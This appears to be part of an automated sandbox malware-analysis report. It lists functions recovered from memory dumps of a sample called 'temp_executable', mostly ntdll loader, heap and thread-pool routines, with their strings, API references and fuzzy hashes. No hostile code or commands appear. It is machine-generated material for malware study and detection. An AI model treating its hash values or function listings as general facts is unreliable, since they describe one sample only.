String ID: Failed to reallocate the system dirs string !$LdrpInitializePerUserWindowsDirectory$minkernel\ntdll\ldrinit.c
API String ID: 3446177414-1783798831
Opcode ID: f78fe95cf142d5506df1a7123849483f2830e43a3a0d4a0cf30b24955be2db1b
Instruction ID: f0210c8b47e255508c12537f8487bf308e87f93fb093c27b7f97634310a27ca6
Opcode Fuzzy Hash: f78fe95cf142d5506df1a7123849483f2830e43a3a0d4a0cf30b24955be2db1b
Instruction Fuzzy Hash: AD4125B5546344AFDB11DF28DC45B4B37E8EF44791F50482ABA88E3360EBB4D885CBA1

Function 32DC43D5 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 121timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 32DC4489

Strings

LdrpCheckRedirection, xrefs: 32DC450F
Import Redirection: %wZ %wZ!%s redirected to %wZ, xrefs: 32DC4508
minkernel\ntdll\ldrredirect.c, xrefs: 32DC4519

Memory Dump Source

Source File: 00000003.00000002.20223319876.0000000032D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 32D10000, based on PE: true

Associated: 00000003.00000002.20223319876.0000000032E39000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.20223319876.0000000032E3D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32d10000_temp_executable.jbxd

Similarity

API ID: DebugPrintTimes
String ID: Import Redirection: %wZ %wZ!%s redirected to %wZ$LdrpCheckRedirection$minkernel\ntdll\ldrredirect.c
API String ID: 3446177414-3154609507
Opcode ID: 494d0b82a1350984b0479048d04e6ada9f1e54be6d55eb8a08a435898d8ac549
Instruction ID: 08806f34db0986e4ee78a70374528fc45d1adc865a153f5f3a59222611b07c4c
Opcode Fuzzy Hash: 494d0b82a1350984b0479048d04e6ada9f1e54be6d55eb8a08a435898d8ac549
Instruction Fuzzy Hash: F04122766097318FDB11CF68D940A1677E4EF88795F660A5AEC8AE7311DBB0EC00CB91

Function 32D6510F Relevance: 6.7, Strings: 5, Instructions: 434COMMON

Download Yara Rule

Strings

Kernel-MUI-Language-Allowed, xrefs: 32D6519B
Kernel-MUI-Language-Disallowed, xrefs: 32D65272
Kernel-MUI-Language-SKU, xrefs: 32D6534B
WindowsExcludedProcs, xrefs: 32D6514A
Kernel-MUI-Number-Allowed, xrefs: 32D65167

Memory Dump Source

Source File: 00000003.00000002.20223319876.0000000032D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 32D10000, based on PE: true

Associated: 00000003.00000002.20223319876.0000000032E39000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.20223319876.0000000032E3D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32d10000_temp_executable.jbxd

Similarity

API ID:
String ID: Kernel-MUI-Language-Allowed$Kernel-MUI-Language-Disallowed$Kernel-MUI-Language-SKU$Kernel-MUI-Number-Allowed$WindowsExcludedProcs
API String ID: 0-258546922
Opcode ID: 1021b56dcc91ffc3a4a47d6bfa46d3955693b4ba11384b1eb3aca1197af6d6d3
Instruction ID: 3fb7e20b4295900f5d51fb01b80b44a663942dad9fe36997d9ca7c4490069e19
Opcode Fuzzy Hash: 1021b56dcc91ffc3a4a47d6bfa46d3955693b4ba11384b1eb3aca1197af6d6d3
Instruction Fuzzy Hash: E6F12AB6D10219EFDB15CF98C990EAEBBB8EF08754F51406AE501B7710DBB49E41CBA0

Function 32E1ACEB Relevance: 6.4, APIs: 4, Instructions: 450timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 32E1AEA9
RtlDebugPrintTimes.NTDLL ref: 32E1B185

Memory Dump Source

Source File: 00000003.00000002.20223319876.0000000032D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 32D10000, based on PE: true

Associated: 00000003.00000002.20223319876.0000000032E39000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.20223319876.0000000032E3D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32d10000_temp_executable.jbxd

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: e5bbdc3c760d0e043db0f6d2a85293c383896dd73f21ccc3909016ed77e77e5f
Instruction ID: 6e07927f058756638946c8df6b946f96f787cb6c2e7573a9aa0ea6fd80afe59a
Opcode Fuzzy Hash: e5bbdc3c760d0e043db0f6d2a85293c383896dd73f21ccc3909016ed77e77e5f
Instruction Fuzzy Hash: 96F108B7F006158BCB08CF69C99167DBBF5AF88204B5A817DD866DB380DA74F941CB50

Function 32D37662 Relevance: 6.3, Strings: 5, Instructions: 51COMMON

Download Yara Rule

Strings

HEAP: , xrefs: 32D9ADB2
, passed to %s, xrefs: 32D9ADCF
HEAP[%wZ]: , xrefs: 32D9ADA5
Invalid heap signature for heap at %p, xrefs: 32D9ADBE
RtlFreeHeap, xrefs: 32D9ADCE

Memory Dump Source

Source File: 00000003.00000002.20223319876.0000000032D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 32D10000, based on PE: true

Associated: 00000003.00000002.20223319876.0000000032E39000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.20223319876.0000000032E3D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32d10000_temp_executable.jbxd

Similarity

API ID:
String ID: , passed to %s$HEAP: $HEAP[%wZ]: $Invalid heap signature for heap at %p$RtlFreeHeap
API String ID: 0-3061284088
Opcode ID: ff122fff1b28bc3b393da9e7623e8486c89efdaf9858c4f29217a8766c8e4286
Instruction ID: 593ad0aa16f708d090ad086cebfa710c32384fc73a4152dd8470e70c22507c59
Opcode Fuzzy Hash: ff122fff1b28bc3b393da9e7623e8486c89efdaf9858c4f29217a8766c8e4286
Instruction Fuzzy Hash: C9014737006280EEF34A832DF409FC277A4DB46731F25448AF1404BF90DEA5A884D970

Function 32D40485 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 135timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 32D405D6

Strings

kLsE, xrefs: 32D405FE
TerminalServices-RemoteConnectionManager-AllowAppServerMode, xrefs: 32D40586

Memory Dump Source

Source File: 00000003.00000002.20223319876.0000000032D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 32D10000, based on PE: true

Associated: 00000003.00000002.20223319876.0000000032E39000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.20223319876.0000000032E3D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32d10000_temp_executable.jbxd

Similarity

API ID: DebugPrintTimes
String ID: TerminalServices-RemoteConnectionManager-AllowAppServerMode$kLsE
API String ID: 3446177414-2547482624
Opcode ID: 59107cfec910269859bb303286f3a6fbeaa942a06346f9510480ceb7e99d9d2b
Instruction ID: fd944123264df6516f028efab1720023ceafe963bcf2333c19d19ed4fea93487
Opcode Fuzzy Hash: 59107cfec910269859bb303286f3a6fbeaa942a06346f9510480ceb7e99d9d2b
Instruction Fuzzy Hash: 3751BAB5A00746DFE718DFA4D4407AAB7F4EF44305F00882EDA9A97340EF709545CBA1

Function 32D4A2E0 Relevance: 5.3, Strings: 4, Instructions: 290COMMON

Download Yara Rule

Strings

6, xrefs: 32D4A317
LdrResFallbackLangList Exit, xrefs: 32D4A31F
LdrResFallbackLangList Enter, xrefs: 32D4A30F
8, xrefs: 32D4A307

Memory Dump Source

Source File: 00000003.00000002.20223319876.0000000032D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 32D10000, based on PE: true

Associated: 00000003.00000002.20223319876.0000000032E39000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.20223319876.0000000032E3D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32d10000_temp_executable.jbxd

Similarity

API ID:
String ID: 6$8$LdrResFallbackLangList Enter$LdrResFallbackLangList Exit
API String ID: 0-379654539
Opcode ID: 1cb030cf80cf8c16f842bd66b7bd1b0de61fdc72c9089b2a259daf0a790758e1
Instruction ID: c4d8357b3baf2f64357870d1dfd25744c9305bf254809fdd18eb4577a6255dcf
Opcode Fuzzy Hash: 1cb030cf80cf8c16f842bd66b7bd1b0de61fdc72c9089b2a259daf0a790758e1
Instruction Fuzzy Hash: F8C19A74108382CFE715CF65C165B5AB7E4BF84748F40896AF8998B390EF74C946CB62

Function 004065AA Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,00427648,00000000,00406657,00425A48), ref: 004065B5
FindClose.KERNEL32(00000000), ref: 004065C1

Strings

HvB, xrefs: 004065AB

Memory Dump Source

Source File: 00000003.00000002.20208862651.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.20208754546.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20208936956.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20209009714.000000000040A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20209075226.0000000000455000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_temp_executable.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: HvB
API String ID: 2295610775-1619000230
Opcode ID: 1a79fd4cd6ac794e938e769cbdac9cc28720eba36b1ba893e73712489ff4ef95
Instruction ID: d1368554cb410e246732b21b307163ecdbcfd804cd616700c419d461b784c5b9
Opcode Fuzzy Hash: 1a79fd4cd6ac794e938e769cbdac9cc28720eba36b1ba893e73712489ff4ef95
Instruction Fuzzy Hash: 72D0123155A1206FC25057387E0C84B7A999F153717518B36B0A6F11E4C7348C6686AD

Function 32D78322 Relevance: 5.3, Strings: 4, Instructions: 263COMMON

Download Yara Rule

Strings

LdrpInitializeProcess, xrefs: 32D78342
\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers, xrefs: 32D7847E
@, xrefs: 32D784B1
minkernel\ntdll\ldrinit.c, xrefs: 32D78341

Memory Dump Source

Source File: 00000003.00000002.20223319876.0000000032D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 32D10000, based on PE: true

Associated: 00000003.00000002.20223319876.0000000032E39000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.20223319876.0000000032E3D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32d10000_temp_executable.jbxd

Similarity

API ID:
String ID: @$LdrpInitializeProcess$\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers$minkernel\ntdll\ldrinit.c
API String ID: 0-1918872054
Opcode ID: 26260a53b4871c131f08a9d089b4041dbb8ce6cde1f2f112ed719807be2031f2
Instruction ID: 88d9cf8523a0fb658b7054aab21dfd9b3fed2f129bb2cbe523a2c1e51cb4a2ec
Opcode Fuzzy Hash: 26260a53b4871c131f08a9d089b4041dbb8ce6cde1f2f112ed719807be2031f2
Instruction Fuzzy Hash: A2918271508385AFE721CF24D854FABB7EDAF84788F40092EFA85D2250D778D944DB62

Function 32D7265C Relevance: 5.2, Strings: 4, Instructions: 249COMMON

Download Yara Rule

Strings

SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: Peb : %pSXS: ActivationContextData: %pSXS: AssemblyStorageMap : %p, xrefs: 32DB20C0
RtlpGetActivationContextDataStorageMapAndRosterHeader, xrefs: 32DB1FE3, 32DB20BB
SXS: %s() passed the empty activation context, xrefs: 32DB1FE8
.Local, xrefs: 32D727F8

Memory Dump Source

Source File: 00000003.00000002.20223319876.0000000032D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 32D10000, based on PE: true

Associated: 00000003.00000002.20223319876.0000000032E39000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.20223319876.0000000032E3D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32d10000_temp_executable.jbxd

Similarity

API ID:
String ID: .Local$RtlpGetActivationContextDataStorageMapAndRosterHeader$SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: Peb : %pSXS: ActivationContextData: %pSXS: AssemblyStorageMap : %p$SXS: %s() passed the empty activation context
API String ID: 0-1239276146
Opcode ID: fd0d155684ae9a82f3fb6b2263a5d8b95f8e5890c47398ab385c8946a0584c0b
Instruction ID: 9d3cd095d6571c6d9a44d9ea957fc7b9ecb8d381dec5f7d39a06550b1a1e1a37
Opcode Fuzzy Hash: fd0d155684ae9a82f3fb6b2263a5d8b95f8e5890c47398ab385c8946a0584c0b
Instruction Fuzzy Hash: D1A1C07590036ADBDB24CF58DC88B99B3B0BF58318F2401EAD848A7355DB759E85CF90

Function 32D463CB Relevance: 5.2, Strings: 4, Instructions: 211COMMON

Download Yara Rule

Strings

ThreadPool: callback %p(%p) returned with the loader lock held, xrefs: 32DA0E2F
ThreadPool: callback %p(%p) returned with preferred languages set, xrefs: 32DA0E72
ThreadPool: callback %p(%p) returned with a transaction uncleared, xrefs: 32DA0DEC
ThreadPool: callback %p(%p) returned with background priorities set, xrefs: 32DA0EB5

Memory Dump Source

Source File: 00000003.00000002.20223319876.0000000032D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 32D10000, based on PE: true

Associated: 00000003.00000002.20223319876.0000000032E39000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.20223319876.0000000032E3D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32d10000_temp_executable.jbxd

Similarity

API ID:
String ID: ThreadPool: callback %p(%p) returned with a transaction uncleared$ThreadPool: callback %p(%p) returned with background priorities set$ThreadPool: callback %p(%p) returned with preferred languages set$ThreadPool: callback %p(%p) returned with the loader lock held
API String ID: 0-1468400865
Opcode ID: 4178e4a97b298ff8910b5dae178ca6877b798fc501b9a8d151ad9a667daa9498
Instruction ID: 72861767d5d900e5afd56c13b6515af26535290f0076bc9b26c35e24fffcc34f
Opcode Fuzzy Hash: 4178e4a97b298ff8910b5dae178ca6877b798fc501b9a8d151ad9a667daa9498
Instruction Fuzzy Hash: BE71B1B59083449FDB51CF14D884F8B7BA8AF84794F800469FD498B38ADB74D588CBE2

Function 32D3F5C7 Relevance: 5.2, Strings: 4, Instructions: 188COMMON

Download Yara Rule

Strings

`, xrefs: 32D9E1B7
HEAP: , xrefs: 32D9E2DD
ZwAllocateVirtualMemory failed %lx for heap %p (base %p, size %Ix), xrefs: 32D9E2F2
HEAP[%wZ]: , xrefs: 32D9E18D

Memory Dump Source

Source File: 00000003.00000002.20223319876.0000000032D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 32D10000, based on PE: true

Associated: 00000003.00000002.20223319876.0000000032E39000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.20223319876.0000000032E3D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32d10000_temp_executable.jbxd

Similarity

API ID:
String ID: HEAP: $HEAP[%wZ]: $ZwAllocateVirtualMemory failed %lx for heap %p (base %p, size %Ix)$`
API String ID: 0-2586055223
Opcode ID: a43e68f4b7dc03ea423913a5bf3d29320a06df83b8b8cf1da73ac2856718539d
Instruction ID: d317ab3438dacabaca804076285bc2c98d26c413208bc2c54c66deebae9b79a7
Opcode Fuzzy Hash: a43e68f4b7dc03ea423913a5bf3d29320a06df83b8b8cf1da73ac2856718539d
Instruction Fuzzy Hash: 95612575205384AFE316CB64DC44FA7B7E8EF84754F04485AFA949B391CB74E840CBA2

Function 32D390F8 Relevance: 5.1, Strings: 4, Instructions: 100COMMON

Download Yara Rule

Strings

HEAP: , xrefs: 32D9B83C, 32D9B879
VirtualProtect Failed 0x%p %x, xrefs: 32D9B849
HEAP[%wZ]: , xrefs: 32D9B82F, 32D9B86C
VirtualQuery Failed 0x%p %x, xrefs: 32D9B886

Memory Dump Source

Source File: 00000003.00000002.20223319876.0000000032D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 32D10000, based on PE: true

Associated: 00000003.00000002.20223319876.0000000032E39000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.20223319876.0000000032E3D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32d10000_temp_executable.jbxd

Similarity

API ID: InitializeThunk
String ID: HEAP: $HEAP[%wZ]: $VirtualProtect Failed 0x%p %x$VirtualQuery Failed 0x%p %x
API String ID: 2994545307-1391187441
Opcode ID: ce90d99538899fe07cd8c6f74a8d4c2b4df0176b08a3848e0c2dd5f0c27e3e95
Instruction ID: a9fba41a293a306b5d5df71c26f00817f587722ab67d70c76a278f6530e6bc99
Opcode Fuzzy Hash: ce90d99538899fe07cd8c6f74a8d4c2b4df0176b08a3848e0c2dd5f0c27e3e95
Instruction Fuzzy Hash: D631C436901204EFEB02CB95DC88FDAB7B8EF49764F1140A1F915AB391DB71E944CA70

Function 32D47072 Relevance: 4.7, APIs: 3, Instructions: 158timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 32DA15E0
RtlDebugPrintTimes.NTDLL ref: 32DA15F5

Memory Dump Source

Source File: 00000003.00000002.20223319876.0000000032D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 32D10000, based on PE: true

Associated: 00000003.00000002.20223319876.0000000032E39000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.20223319876.0000000032E3D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32d10000_temp_executable.jbxd

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: 99d862a61134af8ac372e5e939ad98e4ffb414cfe310737f6b10ba41b6bd0fd5
Instruction ID: 7ba46b736400deb1bff1a6f87eb8aeb166fdd8c2c524d46de6643b7653289672
Opcode Fuzzy Hash: 99d862a61134af8ac372e5e939ad98e4ffb414cfe310737f6b10ba41b6bd0fd5
Instruction Fuzzy Hash: C351EC75A01605EFFB09CF68C894BADB7B5BF44755F20816AE902A7390DFB4E901CB90

Function 32DD3608 Relevance: 4.1, Strings: 3, Instructions: 398COMMON

Download Yara Rule

Strings

LdrpResSearchResourceHandle Exit, xrefs: 32DD3681
LdrpResSearchResourceHandle Enter, xrefs: 32DD3666
PE, xrefs: 32DD37D2

Memory Dump Source

Source File: 00000003.00000002.20223319876.0000000032D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 32D10000, based on PE: true

Associated: 00000003.00000002.20223319876.0000000032E39000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.20223319876.0000000032E3D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32d10000_temp_executable.jbxd

Similarity

API ID:
String ID: LdrpResSearchResourceHandle Enter$LdrpResSearchResourceHandle Exit$PE
API String ID: 0-1168191160
Opcode ID: 60e1845495c00d62cebf20ebf87b01d7a34589d5b190c31652d4371781ba95d8
Instruction ID: 653935d459208341b2bcb9b902f5be8d858571f157a673802d1603b27bb952c5
Opcode Fuzzy Hash: 60e1845495c00d62cebf20ebf87b01d7a34589d5b190c31652d4371781ba95d8
Instruction Fuzzy Hash: 25F192B5A00A288BDBA4CF14CC80BD9B3B5EF44744F5440E9DA49A7740EB719EC5CF64

Function 32D41380 Relevance: 4.1, Strings: 3, Instructions: 385COMMON

Download Yara Rule

Strings

HEAP: , xrefs: 32D414B6
HEAP[%wZ]: , xrefs: 32D41632
HEAP: Free Heap block %p modified at %p after it was freed, xrefs: 32D41648

Memory Dump Source

Source File: 00000003.00000002.20223319876.0000000032D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 32D10000, based on PE: true

Associated: 00000003.00000002.20223319876.0000000032E39000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.20223319876.0000000032E3D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32d10000_temp_executable.jbxd

Similarity

API ID:
String ID: HEAP: $HEAP: Free Heap block %p modified at %p after it was freed$HEAP[%wZ]:
API String ID: 0-3178619729
Opcode ID: fa6bd37be20a68891aa9df14647d41a9a1f27cc5272cf01ad2004569020d1b5c
Instruction ID: 570052702507e4fc5a81c77c4701035fd5ca6a94f0a44cc39217bc84ab3321bd
Opcode Fuzzy Hash: fa6bd37be20a68891aa9df14647d41a9a1f27cc5272cf01ad2004569020d1b5c
Instruction Fuzzy Hash: 83E1CE74A043459FEB19CF6AC4507BABBF1AF48704F548859E9DA8B385EF34E940CB50

Function 32D6F4D0 Relevance: 4.1, Strings: 3, Instructions: 382COMMON

Download Yara Rule

Strings

RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u, xrefs: 32DB00F1
RTL: Enter CriticalSection Timeout (%I64u secs) %d, xrefs: 32DB00C7
RTL: Re-Waiting, xrefs: 32DB0128

Memory Dump Source

Source File: 00000003.00000002.20223319876.0000000032D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 32D10000, based on PE: true

Associated: 00000003.00000002.20223319876.0000000032E39000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.20223319876.0000000032E3D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32d10000_temp_executable.jbxd

Similarity

API ID:
String ID: RTL: Enter CriticalSection Timeout (%I64u secs) %d$RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u$RTL: Re-Waiting
API String ID: 0-2474120054
Opcode ID: af1f501f2db4ff1fa13119901a45ffd512ea5a2e2def0f148ff090b098001d2c
Instruction ID: 8ecb08d19c68f9cac395ec5882b1275934e4fc3d801a510c69391ec10c86a7cc
Opcode Fuzzy Hash: af1f501f2db4ff1fa13119901a45ffd512ea5a2e2def0f148ff090b098001d2c
Instruction Fuzzy Hash: 4CE1CE75608B419FE725CF28C890B2AB7E0BF84358F604A59F5A68B3E0DB74D944CB52

Function 32DC330C Relevance: 4.0, Strings: 3, Instructions: 292COMMON

Download Yara Rule

Strings

DelegatedNtdll, xrefs: 32DC334E
\SystemRoot\system32\, xrefs: 32DC34C2
@, xrefs: 32DC351F

Memory Dump Source

Source File: 00000003.00000002.20223319876.0000000032D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 32D10000, based on PE: true

Associated: 00000003.00000002.20223319876.0000000032E39000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.20223319876.0000000032E3D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32d10000_temp_executable.jbxd

Similarity

API ID:
String ID: @$DelegatedNtdll$\SystemRoot\system32\
API String ID: 0-2391371766
Opcode ID: 35a0fb8a8f5626847b13b87655b1eea01e409744d4040ac9b6de85dd07e31aaf
Instruction ID: 016b011edb05254b5e853330388af53846db131a002220c2b3c056dac315a525
Opcode Fuzzy Hash: 35a0fb8a8f5626847b13b87655b1eea01e409744d4040ac9b6de85dd07e31aaf
Instruction Fuzzy Hash: C5B1E0B1644395AFE351DF54C8C1B5BB7E8FB48754F400929FA409B790DBB0E848CBA2

Function 32D3A147 Relevance: 4.0, Strings: 3, Instructions: 238COMMON

Download Yara Rule

Strings

FilterFullPath, xrefs: 32D9C075
UseFilter, xrefs: 32D3A171
\??\, xrefs: 32D9BF73

Memory Dump Source

Source File: 00000003.00000002.20223319876.0000000032D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 32D10000, based on PE: true

Associated: 00000003.00000002.20223319876.0000000032E39000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.20223319876.0000000032E3D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32d10000_temp_executable.jbxd

Similarity

API ID:
String ID: FilterFullPath$UseFilter$\??\
API String ID: 0-2779062949
Opcode ID: 2817c9329ac8aa565a6ef4e514bf2ca16a5890886bb138a579f8ba1d4825c28e
Instruction ID: 5362a850b8fea65354ed2b6ed562838101aac38fbd0c72f2868c98d50f9875cb
Opcode Fuzzy Hash: 2817c9329ac8aa565a6ef4e514bf2ca16a5890886bb138a579f8ba1d4825c28e
Instruction Fuzzy Hash: CDA17D759016699BEB21DF24CC88BEAB7B8EF09704F1005EAE908A7350DB759EC4CF50

Function 32DD327E Relevance: 4.0, Strings: 3, Instructions: 236COMMON

Download Yara Rule

Strings

LdrpResMapFile Enter, xrefs: 32DD32A5
@, xrefs: 32DD33F7
LdrpResMapFile Exit, xrefs: 32DD32B7

Memory Dump Source

Source File: 00000003.00000002.20223319876.0000000032D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 32D10000, based on PE: true

Associated: 00000003.00000002.20223319876.0000000032E39000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.20223319876.0000000032E3D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32d10000_temp_executable.jbxd

Similarity

API ID:
String ID: @$LdrpResMapFile Enter$LdrpResMapFile Exit
API String ID: 0-318774311
Opcode ID: 8d7050875afe3818e492717845c2085b210d0d995fdbad191b76f93dde9e0eb0
Instruction ID: 93485a57df74e687576d7115abf1885d2e0339902b3df7f4a9011512827e5ade
Opcode Fuzzy Hash: 8d7050875afe3818e492717845c2085b210d0d995fdbad191b76f93dde9e0eb0
Instruction Fuzzy Hash: 96819CB1608B40AFE755CF24C984B6AB7E8EF84754F44096DF9809B790DBB4D900CFA2

Function 32D4B360 Relevance: 4.0, Strings: 3, Instructions: 221COMMON

Download Yara Rule

Strings

{, xrefs: 32DA35BD
LdrpResGetResourceDirectory Enter, xrefs: 32D4B385
LdrpResGetResourceDirectory Exit, xrefs: 32D4B397

Memory Dump Source

Source File: 00000003.00000002.20223319876.0000000032D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 32D10000, based on PE: true

Associated: 00000003.00000002.20223319876.0000000032E39000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.20223319876.0000000032E3D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32d10000_temp_executable.jbxd

Similarity

API ID:
String ID: LdrpResGetResourceDirectory Enter$LdrpResGetResourceDirectory Exit${
API String ID: 0-373624363
Opcode ID: 1124a4dcee043c5064845e31d8cfc05532ac95bd1362cfadf0c64418fc68ee92
Instruction ID: 61e0f1c239f437e04bb42bbb087b634d6dca75abe25170d48822c415fde33e4a
Opcode Fuzzy Hash: 1124a4dcee043c5064845e31d8cfc05532ac95bd1362cfadf0c64418fc68ee92
Instruction Fuzzy Hash: C391CC75E04359CBEB15CF58D450BAEB7B1EF14368F548199EC84AB390DF789A80CB90

Function 32E1B2BC Relevance: 3.9, Strings: 3, Instructions: 180COMMON

Download Yara Rule

Strings

\Registry\Machine\SYSTEM\CurrentControlSet\Control\International, xrefs: 32E1B3AA
GlobalizationUserSettings, xrefs: 32E1B3B4
TargetNtPath, xrefs: 32E1B3AF

Memory Dump Source

Source File: 00000003.00000002.20223319876.0000000032D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 32D10000, based on PE: true

Associated: 00000003.00000002.20223319876.0000000032E39000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.20223319876.0000000032E3D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32d10000_temp_executable.jbxd

Similarity

API ID:
String ID: GlobalizationUserSettings$TargetNtPath$\Registry\Machine\SYSTEM\CurrentControlSet\Control\International
API String ID: 0-505981995
Opcode ID: 25d39f381e56fd76dd39febc0b7a3cb470244449ceecae0589ac8b79f843c0f4
Instruction ID: a44dc8cc500305fdeb9a0d00271e0bb903d56b96512591a53d5a462cfef88158
Opcode Fuzzy Hash: 25d39f381e56fd76dd39febc0b7a3cb470244449ceecae0589ac8b79f843c0f4
Instruction Fuzzy Hash: FF61C372D41228ABDB21DF54DC89BDAB7B9EB04714F4141E9E908AB350DB74EE84CF90

Function 32D3F75B Relevance: 3.9, Strings: 3, Instructions: 167COMMON

Download Yara Rule

Strings

HEAP: , xrefs: 32D9E442
RtlpHeapFreeVirtualMemory failed %lx for heap %p (base %p, size %Ix), xrefs: 32D9E455
HEAP[%wZ]: , xrefs: 32D9E435

Memory Dump Source

Source File: 00000003.00000002.20223319876.0000000032D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 32D10000, based on PE: true

Associated: 00000003.00000002.20223319876.0000000032E39000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.20223319876.0000000032E3D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32d10000_temp_executable.jbxd

Similarity

API ID:
String ID: HEAP: $HEAP[%wZ]: $RtlpHeapFreeVirtualMemory failed %lx for heap %p (base %p, size %Ix)
API String ID: 0-1340214556
